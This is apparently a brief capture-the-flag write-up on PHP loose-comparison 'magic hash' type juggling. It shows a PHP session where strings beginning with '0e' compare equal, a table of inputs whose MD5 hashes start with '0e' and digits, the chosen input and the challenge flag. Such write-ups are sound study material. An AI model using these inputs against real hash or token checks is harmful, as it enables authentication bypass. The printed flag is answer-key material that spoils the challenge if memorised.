This is very similar to this challange: https://avishaigonen123.github.io/CTF_writeups/websec.fr/level10.html
Here we want to exploit the loose comparison, by using the scentific notation.
php > $h="0e5";
php > $s="0e1"; $r=912392;
php > if ($s.$r == $h) {echo "YES";} else {echo "NO";};
YES
As you can see, if we manage to give some string that it’s md5 is looks like: 0e4718238...(only digits), we will get this comparison:
0e5.487123 == 0e3719337482434934, which both equal to 0.
I asked chatgpt and got this table:
| String | MD5 Hash |
| ———— | ———————————- |
| "QNKCDZO" | 0e830400451993494058024219903391 |
| "aabg7XSs" | 0e087386482136013740957780965295 |
| "aabC9RqS" | 0e209851980993998183831109208003 |
We we’ll take QNKCDZO
Flag: F34R_Th3_L0o5e_C0mP4r15On